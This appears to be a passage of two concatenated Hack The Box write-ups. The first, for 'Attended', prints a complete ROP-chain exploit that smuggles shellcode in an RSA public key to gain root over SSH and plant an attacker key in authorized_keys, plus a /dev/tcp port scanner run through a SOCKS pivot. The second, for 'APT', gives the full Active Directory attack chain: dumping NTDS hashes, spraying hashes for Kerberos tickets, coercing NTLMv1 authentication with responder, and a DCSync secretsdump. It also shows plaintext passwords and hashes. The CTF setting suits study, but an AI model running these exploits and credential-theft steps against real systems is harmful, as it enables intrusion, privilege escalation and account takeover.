payload += p64(convertAddressToFP(0x006010d6 + 0x30))
payload += p64(convertAddressToFP(0x006010d6 + 0x10))
payload += p64(0x006010d6 + 0x30)
payload += p64(0x006010d6 + 0x38)
payload += p64(0x006010d6 + 0x40)
payload += p64(0)
payload += "/bin/sh" + "\x00"
payload += "-c" + ("\x00"  6)
payload += "echo $(id) > /tmp/jebidiah" + "\x00"        # TEST COMMAND

# Payload Buffer====================================================

payload += "A"  (768 - 22 - len(payload))	      # buffer
payload += "B"  8          			                # rbp

# Controlling RAX===================================================

payload += p64(0x00400394)  			              # mov eax, 0xffffffff; xor rcx, rcx; ret;
for i in range(0,24):
    payload += p64(0x00400370)  		            # shr eax, 1; ret;
payload += p64(0x00400370)  			              # shr eax, 1; ret;
payload += p64(0x0040036d)  			              # not al; adc cl, 0xe8; ret;
payload += p64(0x00400370)  			              # shr eax, 1; ret;
payload += p64(0x00400370)  			              # shr eax, 1; ret;
payload += p64(0x00400370)  			              # shr eax, 1; ret;
payload += p64(0x0040036d)  			              # not al; adc cl, 0xe8; ret;
payload += p64(0x00400370)  			              # shr eax, 1; ret;
payload += p64(0x00400370)  			              # shr eax, 1; ret;

# Controlling RDI, RSI, RDX=========================================

payload += p64(0x0040036a)			                # pop rdx; ret;
payload += p64(0x006010d6)			                # RDI -> Pointer to "/bin/sh"
payload += p64(0x0040037c)			                # movups xmm0, xmmword ptr [rdx]; mov ebx, 0xf02d0ff3; ret;
payload += p64(0x00400380)			                # cvtss2si esi, xmm0; ret;
payload += p64(0x00400367)			                # mov rdi, rsi; pop rdx; ret;
payload += p64(0x006010d6 + 0x08)	              # RSI -> Pointer to argv addresses
payload += p64(0x0040037c)			                # movups xmm0, xmmword ptr [rdx]; mov ebx, 0xf02d0ff3; ret;
payload += p64(0x00400380)			                # cvtss2si esi, xmm0; ret;
payload += p64(0x0040036a)			                # pop rdx; ret;
payload += p64(0)				                        # RDX set to NULL

# SYSCALL===========================================================

payload += p64(0x004003cf)			                # syscall; ret;
payload += p64(0)

# Payload Generation================================================

generateRSAPublicKey(payload)
```

### 5.9 TESTING LOCALLY

Running the completed exploit code then passing the generated payload as an identity file when logging in via SSH:

```bash
$ python test.py > test.key

$ ssh -i test.key -l root 192.168.222.134

  root@192.168.222.134's password:
  Permission denied, please try again.
  root@192.168.222.134's password:
  Permission denied, please try again.
  root@192.168.222.134's password:
  root@192.168.222.134: Permission denied (publickey,password,keyboard-interactive).
```

Then checking if the file was created:

```bash
$ ssh -l jebidiah 192.168.222.134

obsd$ ls -l /tmp/jebidiah

  -rw-r--r--  1 root  wheel  101 May  9 03:50 /tmp/jebidiah

obsd$ cat /tmp/jebidiah

  uid=0(root) gid=0(wheel) groups=0(wheel), 2(kmem), 3(sys), 4(tty), 5(operator), 20(staff), 31(guest)
```

So the exploit works on my local setup, the only thing to do is to run it on the machine.

## PART 6 : PRIVESC (freshness -> root)

### 6.1 ATTENDED GATEWAY

It was stated earlier in a note that the authkeys was implemented on **`attendedgw`** but not on **`attended`**. Looking for other machines in the network via ping sweep then scanning for ports remotely:

```bash
attended$ ifconfig vio0

  vio0: flags=8b43<UP,BROADCAST,RUNNING,PROMISC,ALLMULTI,SIMPLEX,MULTICAST> mtu 1500
  	lladdr 00:10:20:30:40:50
  	index 1 priority 0 llprio 3
	groups: egress
	media: Ethernet autoselect
	status: active
	inet 192.168.23.2 netmask 0xffffff00 broadcast 192.168.23.255

attended$ ping -c1 attendedgw

  PING attendedgw.attended.htb (192.168.23.1): 56 data bytes
  64 bytes from 192.168.23.1: icmp_seq=0 ttl=255 time=0.840 ms
```

The Attended Gateway is at **`192.168.23.1`** and now, to check for open ports, I opened a reverse proxy via SSH to the machine and ran the following script:

```bash
#!/bin/bash
for port in {1..12000}; do
	(echo > /dev/tcp/192.168.23.1/$port) &>/dev/null
	[ $? -eq 0 ] && echo "TCP PORT $port open"
done;
```

```bash
$ ssh -i freshness.id_rsa -l freshness -D 6969 -f -N 10.10.10.221

$ sudo vim /etc/proxychains.conf

$ cat /etc/proxychains.conf | tail -n2

  # ATTENDED
  socks5	127.0.0.1 6969

$ proxychains ./ports.sh

  TCP PORT 25 open
  TCP PORT 53 open
  TCP PORT 80 open
  TCP PORT 2222 open
  TCP PORT 8080 open
```

It seems like the SSH port is open at TCP port 2222.

### 6.2 FINAL EXPLOIT

The exploit has been modified to write an SSH public key to the **`authorized_keys`** file in **`/root`**:

```python
from Crypto.PublicKey import RSA
from pwn import 

# Floating Point Conversion=========================================

def convertAddressToFP(address):

    addr_int = int(str(address))
    binary = ""
    while addr_int > 0:
        binary += str(addr_int % 2)
        addr_int = int(addr_int/2)

    binary = binary[::-1]
    significant_left = binary.find("1")
    decimal_adj = len(binary[significant_left+1:])
    exponent_precision = 127 + decimal_adj
    exponent = ""
    while exponent_precision > 0:
        exponent += str(exponent_precision % 2)
        exponent_precision = int(exponent_precision/2)

    exponent = exponent[::-1]
    mantissa = binary[significant_left+1:].ljust(23,"0")
    binary_string = "0" + exponent + mantissa

    return int(binary_string, 2)

# Public Key Generation=============================================

def generateRSAPublicKey(payload):
    n = int("".join([format(ord(x),"02x") for x in payload]),16) + 1
    print(RSA.construct((n, 65537)).exportKey(format="OpenSSH").decode("utf-8"))

# Command Execution Payload=========================================

payload = ""
payload += p64(convertAddressToFP(0x006010d6 + 0x30))
payload += p64(convertAddressToFP(0x006010d6 + 0x10))
payload += p64(0x006010d6 + 0x30)
payload += p64(0x006010d6 + 0x38)
payload += p64(0x006010d6 + 0x40)
payload += p64(0)
payload += "/bin/sh" + "\x00"
payload += "-c" + ("\x00"  6)
payload += "echo 'ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDAjMN54BBvvnJUXFjy9FSQ0zUVC7ZJg8FG+hPkNcoIk/ZZTz84yzE3sobaFTgDhfsjgisDd2jjZg8xuBZ4Gjo2pE0aqUQfP4bQwL6N4k+TmqMjBamwy7Copjt+sF0m4EJX1ZkURCFgL1ssqXorFDfRZSA3WingLrq2GYcJS9TMLlt5ZFzcT+umOHGE5wtYCHu11yCSpZNFl2S04GTsB2R/D3X1tQqRdWpIg1JGD0/gSFSuBJNn7ngOfPKQrjlBOrvCgtB+mWgBLp0smETICi9IqIvnW6K5AWNP+ZxWm4Bjl5Vor0mmfQdCcRVElZdpEEW59XSwnhlCpzW+hk8MzQGUoqJ01JKa03rFqdHLHWIy2sfS4vFsG450A4un/hClPMoQxf12gwY2WwsBwAwRKTi1Q23lnLN/NolaCdzOdEUzVc9drcQbvWlR+dxkiW09eFEqk6TEFiVtla2oywhozphFdjye7GPVfuz/862VAMOyG/Ny/82dGOzmt+irNsfc5Tc=' >> /root/.ssh/authorized_keys" + "\x00"

# Payload Buffer====================================================

payload += "A"  (768 - 22 - len(payload))	      # buffer
payload += "B"  8          			                # rbp

# Controlling RAX===================================================

payload += p64(0x00400394)  			              # mov eax, 0xffffffff; xor rcx, rcx; ret;
for i in range(0,24):
    payload += p64(0x00400370)  		            # shr eax, 1; ret;
payload += p64(0x00400370)  			              # shr eax, 1; ret;
payload += p64(0x0040036d)  			              # not al; adc cl, 0xe8; ret;
payload += p64(0x00400370)  			              # shr eax, 1; ret;
payload += p64(0x00400370)  			              # shr eax, 1; ret;
payload += p64(0x00400370)  			              # shr eax, 1; ret;
payload += p64(0x0040036d)  			              # not al; adc cl, 0xe8; ret;
payload += p64(0x00400370)  			              # shr eax, 1; ret;
payload += p64(0x00400370)  			              # shr eax, 1; ret;

# Controlling RDI, RSI, RDX=========================================

payload += p64(0x0040036a)			                # pop rdx; ret;
payload += p64(0x006010d6)			                # RDI -> Pointer to "/bin/sh"
payload += p64(0x0040037c)			                # movups xmm0, xmmword ptr [rdx]; mov ebx, 0xf02d0ff3; ret;
payload += p64(0x00400380)			                # cvtss2si esi, xmm0; ret;
payload += p64(0x00400367)			                # mov rdi, rsi; pop rdx; ret;
payload += p64(0x006010d6 + 0x08)	              # RSI -> Pointer to argv addresses
payload += p64(0x0040037c)			                # movups xmm0, xmmword ptr [rdx]; mov ebx, 0xf02d0ff3; ret;
payload += p64(0x00400380)			                # cvtss2si esi, xmm0; ret;
payload += p64(0x0040036a)			                # pop rdx; ret;
payload += p64(0)				                        # RDX set to NULL

# SYSCALL===========================================================

payload += p64(0x004003cf)			                # syscall; ret;
payload += p64(0)

# Payload Generation================================================

generateRSAPublicKey(payload)
```

Now passing the generated payload via SSH:

```bash
$ python exploit.py > exploit.key

$ proxychains ssh -i exploit.key -l root -p 2222 192.168.23.1

  root@192.168.23.1's password:
  Permission denied, please try again.
  root@192.168.23.1's password:
  Permission denied, please try again.
  root@192.168.23.1's password:
  root@192.168.23.1: Permission denied (publickey,password,keyboard-interactive).

$ proxychains ssh -i freshness.id_rsa -l root -p 2222 192.168.23.1

attendedgw# id

  uid=0(root) gid=0(wheel) groups=0(wheel), 2(kmem), 3(sys), 4(tty), 5(operator), 20(staff), 31(guest)

attendedgw# cat /root/root.txt

  1986e8537a05420f0d59263f04dcd48a
```

## PART 7 : REFERENCES

* <https://securitynews.sonicwall.com/xmlpost/vim-modelines-remote-command-execution-dec-23-2016/>
* <https://medium.com/@knownsec404team/vim-neovim-arbitrary-code-execution-via-modelines-cve-2002-1377-cve-2016-1248-cve-2019-12735-c769a97dfccf>
* <https://man.openbsd.org/sshd_config.5>
* <https://www.rapidtables.com/convert/number/hex-to-decimal.html?x=3b>
* <https://man7.org/linux/man-pages/man2/execve.2.html>
* <https://www.wikihow.com/Convert-a-Number-from-Decimal-to-IEEE-754-Floating-Point-Representation>
* <https://www.felixcloutier.com/x86/cvtss2si>
* <https://blog.rchapman.org/posts/Linux_System_Call_Table_for_x86_64/>


# HTB APT

10.10.10.213 | 50 pts

## PART 1 : INITIAL RECON <a href="#part-1-initial-recon" id="part-1-initial-recon"></a>

### 1.1 NMAP scan <a href="#id-1-1-nmap-scan" id="id-1-1-nmap-scan"></a>

```shell-session
$ nmap --min-rate 3000 -oN nmap-tcp.initial -p- -Pn -T4 -v 10.10.10.213

  Host is up.
  All 65535 scanned ports on 10.10.10.213 are filtered

  Read data files from: /usr/bin/../share/nmap
  Nmap done: 1 IP address (1 host up) scanned in 65.54 seconds
```

No open port was found but scanning using IPv6 might yield a different result. But first, the IPv6 of the machine needs to be determined. It could be done using [IOXIDResolver](https://github.com/mubix/IOXIDResolver) :

```shell-session
$ git clone https://github.com/mubix/IOXIDResolver.git

$ python3 IOXIDResolver/IOXIDResolver.py -t 10.10.10.213

  [*] Retrieving network interface of 10.10.10.213
  Address: apt
  Address: 10.10.10.213
  Address: dead:beef::b885:d62a:d679:573f
  Address: dead:beef::cda5:800b:148e:6594
```

Adding the recovered IPv6 addresses to the **`/etc/hosts`** file then attempting to scan using the new hostname:

```
 The following lines are desirable for IPv6 capable hosts
::1     localhost ip6-localhost ip6-loopback
ff02::1 ip6-allnodes
ff02::2 ip6-allrouters
dead:beef::b885:d62a:d679:573f	apt.htb#
```

```shell-session
$ nmap -6 --min-rate 3000 -oN nmap6-tcp.initial -p- -Pn -T4 -v apt.htb

  PORT      STATE SERVICE
  53/tcp    open  domain
  80/tcp    open  http
  135/tcp   open  msrpc
  389/tcp   open  ldap
  445/tcp   open  microsoft-ds
  464/tcp   open  kpasswd5
  593/tcp   open  http-rpc-epmap
  636/tcp   open  ldapssl
  5985/tcp  open  wsman
  9389/tcp  open  adws
  47001/tcp open  winrm

$ nmap -6 -oN nmap6-tcp -p 53,80,135,389,445,464,593,636,5985,9389,47001 -sC -sV -v apt.htb

  PORT      STATE SERVICE      VERSION
  53/tcp    open  domain       Simple DNS Plus
  80/tcp    open  http         Microsoft IIS httpd 10.0
  | http-methods:
  |   Supported Methods: OPTIONS TRACE GET HEAD POST
  |_  Potentially risky methods: TRACE
  |http-server-header: Microsoft-IIS/10.0
  |_http-title: Gigantic Hosting | Home
  135/tcp   open  msrpc        Microsoft Windows RPC
  389/tcp   open  ldap         Microsoft Windows Active Directory LDAP (Domain: htb.local, Site: Default-First-Site-Name)
  | ssl-cert: Subject: commonName=apt.htb.local
  | Subject Alternative Name: DNS:apt.htb.local
  | Issuer: commonName=apt.htb.local
  | Public Key type: rsa
  | Public Key bits: 2048
  | Signature Algorithm: sha256WithRSAEncryption
  | Not valid before: 2020-09-24T07:07:18
  | Not valid after:  2050-09-24T07:17:18
  | MD5:   c743 dd92 e928 50b0 aa86 6f80 1b04 4d22
  |_SHA-1: f677 c290 98c0 2ac5 8575 7060 683d cdbc 5f86 5d45
  |_ssl-date: 2021-04-09T11:25:05+00:00; 0s from scanner time.
  445/tcp   open  microsoft-ds Windows Server 2016 Standard 14393 microsoft-ds (workgroup: HTB)
  464/tcp   open  kpasswd5?
  593/tcp   open  ncacn_http   Microsoft Windows RPC over HTTP 1.0
  636/tcp   open  ssl/ldap     Microsoft Windows Active Directory LDAP (Domain: htb.local, Site: Default-First-Site-Name)
  | ssl-cert: Subject: commonName=apt.htb.local
  | Subject Alternative Name: DNS:apt.htb.local
  | Issuer: commonName=apt.htb.local
  | Public Key type: rsa
  | Public Key bits: 2048
  | Signature Algorithm: sha256WithRSAEncryption
  | Not valid before: 2020-09-24T07:07:18
  | Not valid after:  2050-09-24T07:17:18
  | MD5:   c743 dd92 e928 50b0 aa86 6f80 1b04 4d22
  |_SHA-1: f677 c290 98c0 2ac5 8575 7060 683d cdbc 5f86 5d45
  |_ssl-date: 2021-04-09T11:25:05+00:00; 0s from scanner time.
  5985/tcp  open  http         Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
  |_http-server-header: Microsoft-HTTPAPI/2.0
  |_http-title: Not Found
  9389/tcp  open  mc-nmf       .NET Message Framing
  47001/tcp open  http         Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
  |_http-server-header: Microsoft-HTTPAPI/2.0
  |_http-title: Not Found
  Service Info: Host: APT; OS: Windows; CPE: cpe:/o:microsoft:windows

  Host script results:
  |_clock-skew: mean: -11m59s, deviation: 26m49s, median: 0s
  | smb-os-discovery:
  |   OS: Windows Server 2016 Standard 14393 (Windows Server 2016 Standard 6.3)
  |   Computer name: apt
  |   NetBIOS computer name: APT\x00
  |   Domain name: htb.local
  |   Forest name: htb.local
  |   FQDN: apt.htb.local
  |  System time: 2021-04-09T12:24:49+01:00
  | smb-security-mode:
  |   account_used: <blank>
  |   authentication_level: user
  |   challenge_response: supported
  |_  message_signing: required
  | smb2-security-mode:
  |   2.02:
  |_    Message signing enabled and required
  | smb2-time:
  |   date: 2021-04-09T11:24:51
  |_  start_date: 2021-04-09T07:46:49
```

Open ports have now been determined and it seems like the machine is part of an Active Directory.

### 1.2 Updating /etc/hosts <a href="#id-1-2-updating-etchosts" id="id-1-2-updating-etchosts"></a>

```
 The following lines are desirable for IPv6 capable hosts
::1     localhost ip6-localhost ip6-loopback
ff02::1 ip6-allnodes
ff02::2 ip6-allrouters
dead:beef::b885:d62a:d679:573f	##apt.htb.local HTB.local# apt.htb
```

This might be essential when enumerating/connecting to the machine.

## PART 2 : PORT ENUMERATION <a href="#part-2-port-enumeration" id="part-2-port-enumeration"></a>

### 2.1 TCP PORT 80 (HTTP) <a href="#tcp-port-80-http" id="tcp-port-80-http"></a>

![](https://seymour.hackstreetboys.ph/boxes/screenshots/66_APT/80_landing_page.png)

### 2.2 TCP PORT 445 (SMB) <a href="#tcp-port-445-smb" id="tcp-port-445-smb"></a>

Enumerating available shares from anonymous login:

```shell-session
$ smbclient -L \\\\apt.htb -N

  Anonymous login successful

  	  Sharename       Type      Comment
  	  ---------       ----      -------
	  backup          Disk
	  IPC$            IPC       Remote IPC
	  NETLOGON        Disk      Logon server share
	  SYSVOL          Disk      Logon server share
  apt.htb is an IPv6 address -- no workgroup available

$ smbclient \\\\apt.htb\\backup -N

  smb: \> dir
    .                                   D        0  Thu Sep 24 03:30:52 2020
    ..                                  D        0  Thu Sep 24 03:30:52 2020
    backup.zip                          A 10650961  Thu Sep 24 03:30:32 2020
```

There is a backup.zip file publicly available in the backup share.

```shell-session
$ smbget -a -R smb://apt.htb/backup/backup.zip

  Using workgroup WORKGROUP, guest user
  smb://apt.htb/backup/backup.zip
  Downloaded 10.16MB in 37 seconds

$ unzip backup.zip

  Archive:  backup.zip
     creating: Active Directory/
  [backup.zip] Active Directory/ntds.dit password:

$ fcrackzip -u -D -p /usr/share/wordlists/rockyou.txt backup.zip

  PASSWORD FOUND!!!!: pw == iloveyousomuch
```

The backup.zip file was successfully downloaded from the file share but trying to extract the contents requires a password. Luckily, the password was susceptible to a dictionary attack which returned the password as iloveyousomuch. Successfully extracting the contents reveals the following files:

```shell-session
$ unzip backup.zip

  Archive:  backup.zip
  [backup.zip] Active Directory/ntds.dit password: iloveyousomuch
    inflating: Active Directory/ntds.dit
    inflating: Active Directory/ntds.jfm
     creating: registry/
    inflating: registry/SECURITY
    inflating: registry/SYSTEM

$ find . -type f -exec file {} + 2>/dev/null | grep -v backup

  ./Active Directory/ntds.dit: Extensible storage engine DataBase, version 0x620, checksum 0x6f146ad6, page size 8192, Windows version 10.0
  ./Active Directory/ntds.jfm: data
  ./registry/SECURITY:         MS Windows registry file, NT/2000 or above
  ./registry/SYSTEM:           MS Windows registry file, NT/2000 or above
```

There’s an ntds.dit file which is a database file storing Active Directory data especially user objects and password hashes; however, it’s encrypted. Along with this are Windows Registry files.

## PART 3: EXPLOITATION <a href="#part-3-exploitation" id="part-3-exploitation"></a>

### **3.1 Search for valid users**

```shell-session
$ impacket-secretsdump -ntds Active\ Directory/ntds.dit -system registry/SYSTEM -outputfile user_hashes.txt LOCAL

$ ls -l

  -rwxrwxrwx 1 root root   176132 xxx  x xx:xx  user_hashes.txt.ntds
  -rwxrwxrwx 1 root root      136 xxx  x xx:xx  user_hashes.txt.ntds.cleartext
  -rwxrwxrwx 1 root root   433995 xxx  x xx:xx  user_hashes.txt.ntds.kerberos
```

The extraction is only possible since the password encryption key used for ntds.dit is encrypted using the BOOTKEY which could be found on the SYSTEM registry hive. Otherwise, if the SYSTEM hive is not available, the bootkey could be provided as an argument to secretsdump module of impacket.

```shell-session
$ cat user_hashes.txt.ntds | head -n 1

  Administrator:500:aad3b435b51404eeaad3b435b51404ee:2b576acbe6bcfda7294d6bd18041b8fe:::

$ cat user_hashes.txt.ntds | head -n 1 | cut -d':' -f1

  Administrator

$ cat user_hashes.txt.ntds | cut -d':' -f1 > ../usernames.txt

$ ./kerbrute_linux_amd64 userenum -d htb.local --dc apt.htb.local -o kerbrute.txt -v usernames.txt
      __             __               __
     / /_____  _____/ /_  _______  __/ /____
    / //_/ _ \/ ___/ __ \/ ___/ / / / __/ _ \
   / ,< /  __/ /  / /_/ / /  / /_/ / /_/  __/
  /_/|_|\___/_/  /_.___/_/   \__,_/\__/\___/

  Version: v1.0.3 (9dad6e1) - xx/xx/xx - Ronnie Flathers @ropnop

  xxxx/xx/xx xx:xx:xx >  Using KDC(s):
  xxxx/xx/xx xx:xx:xx >  	apt.htb.local:88
  [...omitted...]

$ cat kerbrute.txt | grep VALID

  xxxx/xx/xx xx:xx:xx >  [+] VALID USERNAME:	 Administrator@htb.local
  xxxx/xx/xx xx:xx:xx >  [+] VALID USERNAME:	 APT$@htb.local
  xxxx/xx/xx xx:xx:xx >  [+] VALID USERNAME:	 henry.vinson@htb.local
```

The usernames were trimmed from the password hashes recovered in ntds.dit via **`impacket-secretsdump`**. The usernames were then passed through **`kerbrute`** to check if they were still valid/active users in the domain controller. As for that, three users were found — Administrator, APT$, and henry.vinson.

### 3.2 Generating a Kerberos Ticket for henry.vinson <a href="#id-3-2-generating-a-kerberos-ticket-for-henry-vinson" id="id-3-2-generating-a-kerberos-ticket-for-henry-vinson"></a>

The hashes found for the valid users doesn’t seem to work when attempting to login via winrm. Since this box seems to be part of an Active Directory, maybe forging a kerberos ticket will work for authenticating into the machine.

```shell-session
$ cat user_hashes.txt.ntds | grep henry.vinson

  henry.vinson:3647:aad3b435b51404eeaad3b435b51404ee:2de80758521541d19cabba480b260e8f:::

$ cat user_hashes.txt.ntds | grep henry.vinson | awk -F':' '{printf "%s:%s\n",$3,$4}'

  aad3b435b51404eeaad3b435b51404ee:2de80758521541d19cabba480b260e8f

$ cat user_hashes.txt.ntds | awk -F':' '{printf "%s:%s\n",$3,$4}' | sort | uniq > ../hashes.txt

$ for i in $(cat hashes.txt); do echo $i; attempt=$(impacket-getTGT HTB.local/henry.vinson@apt.htb -hashes $i); if ! [[ $attempt == "SessionError" ]]; then echo "HASH FOUND: [$i]"; echo $attempt; break; fi; done

  [...omitted...]
  HASH FOUND: [aad3b435b51404eeaad3b435b51404ee:e53d87d42adaa3ca32bdb34a876cbffb]
  Impacket v0.9.22 - Copyright 2020 SecureAuth Corporation

  [*] Saving ticket in henry.vinson@apt.htb.ccache

$ klist -c henry.vinson@apt.htb.ccache

  Ticket cache: FILE:henry.vinson@apt.htb.ccache
  Default principal: henry.vinson@HTB.LOCAL

  Valid starting       Expires              Service principal
  xx/xx/xxxx xx:xx:xx  xx/xx/xxxx xx:xx:xx  krbtgt/HTB.LOCAL@HTB.LOCAL
  	  renew until xx/xx/xxxx xx:xx:xx
```

The shell script below was the one-liner used to brute force the generation of the ticket:

```bash
for i in $(cat hashes.txt); do
    echo $i;
    attempt=$(impacket-getTGT HTB.local/henry.vinson@apt.htb -hashes $i);

    if ! [[ $attempt == "SessionError" ]]; then
        echo "HASH FOUND: [$i]";
        echo $attempt;
        break;
    fi;
done
```

A password spray (in this case, hashes extracted from ntds.dit were used) was attempted for the user, henry.vinson, and one of the hashes (not his own) was found to be able to forge a krbtgt ticket. However, this still does not seem to work for authentication via WinRM.

#### 3.3 Dumping HKEY\_USERS <a href="#id-3-3-dumping-hkey_users" id="id-3-3-dumping-hkey_users"></a>

The HKU registry hive contains all configurations set for all active users.

```shell-session
$ export KRB5CCNAME=henry.vinson@apt.htb.ccache

$ env | grep KRB5

  KRB5CCNAME=henry.vinson@apt.htb.ccache

$ impacket-reg -k apt.htb.local query -keyName HKU -s > registry.txt
```

In this case, since there is already a cached ticket for henry.vinson, all contents from his user registry hive will be extracted.

```shell-session
$ cat registry.txt | grep -i -A5 -B5 -E 'henry'

  [...omitted...]
  \Software\GiganticHostingManagementSystem\
	        UserName	REG_SZ	 henry.vinson_adm
	        PassWord	REG_SZ	 G1#Ny5@2dvht
  [...omitted...]
```

And within the extracted information are stored credentials for the deployed service, **`GiganticHostingManagementSystem`**.

## PART 4 : USER SHELL (henry.vinson\_adm) <a href="#part-4-generating-a-user-shell-henry-vinson_adm" id="part-4-generating-a-user-shell-henry-vinson_adm"></a>

```shell-session
$ evil-winrm -i apt.htb -u henry.vinson_adm -p 'G1#Ny5@2dvht' --no-colors

PS C:\Users\henry.vinson_adm\Documents> whoami

  htb\henry.vinson_adm

PS C:\Users\henry.vinson_adm\Documents> ipconfig

  Windows IP Configuration


  Ethernet adapter Ethernet:

     Connection-specific DNS Suffix  . :
     IPv6 Address. . . . . . . . . . . : dead:beef::3d05:a1a8:4a51:c2fe
     IPv6 Address. . . . . . . . . . . : dead:beef::b885:d62a:d679:573f
     Link-local IPv6 Address . . . . . : fe80::3d05:a1a8:4a51:c2fe%5
     IPv4 Address. . . . . . . . . . . : 10.10.10.213
     Subnet Mask . . . . . . . . . . . : 255.255.255.0
     Default Gateway . . . . . . . . . : dead:beef::1
                                         fe80::250:56ff:feb9:75a0%5
                                         10.10.10.2

PS C:\Users\henry.vinson_adm\Documents> dir ..\Desktop

      Directory: C:\Users\henry.vinson_adm\Desktop


  Mode                LastWriteTime         Length Name
  ----                -------------         ------ ----
  -ar---       xx/xx/xxxx  xx:xx XX             34 user.txt
```

It seems like the reason why the other users cannot authenticate via WinRM even though a valid hash has been found is that they are not part of the Remote Management Users group:

```shell-session
PS C:\Users\henry.vinson_adm\Documents> net localgroup "Remote Management Users"

  Alias name     Remote Management Users
  Comment        Members of this group can access WMI resources over management protocols (such as WS-Management via the Windows Remote Management service). This applies only to WMI namespaces that grant access to the user.

  Members

  -------------------------------------------------------------------------------
  henry.vinson_adm
```

## PART 5 : PRIVILEGE ESCALATION (henry.vinson\_adm → Administrator) <a href="#part-5-privilege-escalation-henry-vinson_adm-administrator" id="part-5-privilege-escalation-henry-vinson_adm-administrator"></a>

### 5.1 The console history of henry.vinson\_adm <a href="#id-5-1-the-console-history-of-henry-vinson_adm" id="id-5-1-the-console-history-of-henry-vinson_adm"></a>

Checking the console history of the current user:

```shell-session
PS C:\Users\henry.vinson_adm\Documents> cd ..\AppData

PS C:\Users\henry.vinson_adm\AppData> type Roaming\Microsoft\Windows\PowerShell\PSReadline\ConsoleHost_history.txt
```

```powershell
$Cred = get-credential administrator
invoke-command -credential $Cred -computername localhost -scriptblock {Set-ItemProperty -Path "HKLM:\SYSTEM\CurrentControlSet\Control\Lsa" lmcompatibilitylevel -Type DWORD -Value 2 -Force}
```

The DWORD value for **`lmcompatibilitylevel`** was set to **`2`** and based on the Microsoft documentation for LAN Manager authentication level:

<table><thead><tr><th width="150" align="center">DWORD</th><th width="308.8644284137078" align="center">Setting</th><th width="392">Description</th></tr></thead><tbody><tr><td align="center">2</td><td align="center">Send NTLM response only</td><td>Client devices use NTLMv1 authentication, and they use NTLMv2 session security if the server supports it. Domain controllers accept LM, NTLM, and NTLMv2 authentication.</td></tr></tbody></table>

With this the machine should only repond with NTLMv1 hashes during authentication.

### 5.2 Intercepting NTLMv1 Hashes <a href="#id-5-2-intercepting-ntlmv1-hashes" id="id-5-2-intercepting-ntlmv1-hashes"></a>

Setting up **`responder`** with a custom challenge, "1122334455667788"

```shell-session
$ cat /etc/responder/Responder.conf | grep -i challenge

  ; Custom challenge.
  ; Use "Random" for generating a random challenge for each requests (Default)
  Challenge = 1122334455667788

$ sudo responder -I tun0 --lm

                                           __
    .----.-----.-----.-----.-----.-----.--|  |.-----.----.
    |   _|  -__|__ --|  _  |  _  |     |  _  ||  -__|   _|
    |__| |_____|_____|   __|_____|__|__|_____||_____|__|
                     |__|

             NBT-NS, LLMNR & MDNS Responder 3.0.2.0

    Author: Laurent Gaffie (laurent.gaffie@gmail.com)
    To kill this script hit CTRL-C

    [...omitted...]
    [+] Servers:
        [...omitted...]
        SMB server                 [ON]
    [...omitted...]

    [+] Poisoning Options:
        [...omitted...]
        Force LM downgrade         [ON]
    [...omitted...]

    [+] Generic Options:
        Responder NIC              [tun0]
        Responder IP               [10.10.14.11]
        Challenge set              [1122334455667788]
    [...omitted...]
```

Then forcing the target machine to force NTLM authentication:

```shell-session
PS C:\Users\henry.vinson_adm\AppData> cd "C:\ProgramData\Microsoft\Windows Defender\platform"

PS C:\ProgramData\Microsoft\Windows Defender\platform> dir


      Directory: C:\ProgramData\Microsoft\Windows Defender\platform


  Mode                LastWriteTime         Length Name
  ----                -------------         ------ ----
  d-----       11/10/2020  11:09 AM                4.18.2010.7-0
  d-----        3/17/2021   3:13 PM                4.18.2102.4-0

PS C:\ProgramData\Microsoft\Windows Defender\platform> cd 4.18.2010.7-0

PS C:\ProgramData\Microsoft\Windows Defender\platform\4.18.2010.7-0> .\MpCmdRun.exe -Scan -ScanType 3 -File \\10.10.14.11\file.txt
```

Looking back in the running **`responder`**, the NTLMv1 hash for the computer account was retrieved:

```
[SMB] NTLMv1 Client   : 10.10.10.213
[SMB] NTLMv1 Username : HTB\APT$
[SMB] NTLMv1 Hash     : APT$::HTB:95ACA8C7248774CB427E1AE5B8D5CE6830A49B5BB858D384:95ACA8C7248774CB427E1AE5B8D5CE6830A49B5BB858D384:1122334455667788
[...omitted...]
```

```shell-session
PS C:\Users\henry.vinson_adm\Documents> Get-ADComputer "APT"

  DistinguishedName : CN=APT,OU=Domain Controllers,DC=htb,DC=local
  DNSHostName       : apt.htb.local
  Enabled           : True
  Name              : APT
  ObjectClass       : computer
  ObjectGUID        : a78acf4d-42b5-49bc-9855-2389a80e726d
  SamAccountName    : APT$
  SID               : S-1-5-21-2993095098-2100462451-206186470-1001
  UserPrincipalName :
```

Going to [crack.sh](https://crack.sh/get-cracking/) and submitting the value, NTHASH:95ACA8C7248774CB427E1AE5B8D5CE6830A49B5BB858D384, will return the following if the hash was successfully cracked:

```
Token: $NETNTLM$1122334455667788$95ACA8C7248774CB427E1AE5B8D5CE6830A49B5BB858D384
Key: d167c3238864b12f5f82feae86a7f798
```

### 5.3 impacket-secretsdump <a href="#id-5-3-running-impacket-secretsdump-to-obtain-password-hashes" id="id-5-3-running-impacket-secretsdump-to-obtain-password-hashes"></a>

```shell-session
$ impacket-secretsdump -hashes aad3b435b51404eeaad3b435b51404ee:d167c3238864b12f5f82feae86a7f798 'HTB.local/APT$@apt.htb'

  Impacket v0.9.22 - Copyright 2020 SecureAuth Corporation

  [-] RemoteOperations failed: DCERPC Runtime Error: code: 0x5 - rpc_s_access_denied
  [] Dumping Domain Credentials (domain\uid:rid:lmhash:nthash)
  [] Using the DRSUAPI method to get NTDS.DIT secrets
  Administrator:500:aad3b435b51404eeaad3b435b51404ee:c370bddf384a691d811ff3495e8a72e2:::
  Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
  krbtgt:502:aad3b435b51404eeaad3b435b51404ee:738f00ed06dc528fd7ebb7a010e50849:::
  DefaultAccount:503:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
  henry.vinson:1105:aad3b435b51404eeaad3b435b51404ee:e53d87d42adaa3ca32bdb34a876cbffb:::
  henry.vinson_adm:1106:aad3b435b51404eeaad3b435b51404ee:4cd0db9103ee1cf87834760a34856fef:::
  APT$:1001:aad3b435b51404eeaad3b435b51404ee:d167c3238864b12f5f82feae86a7f798:::
  [] Kerberos keys grabbed
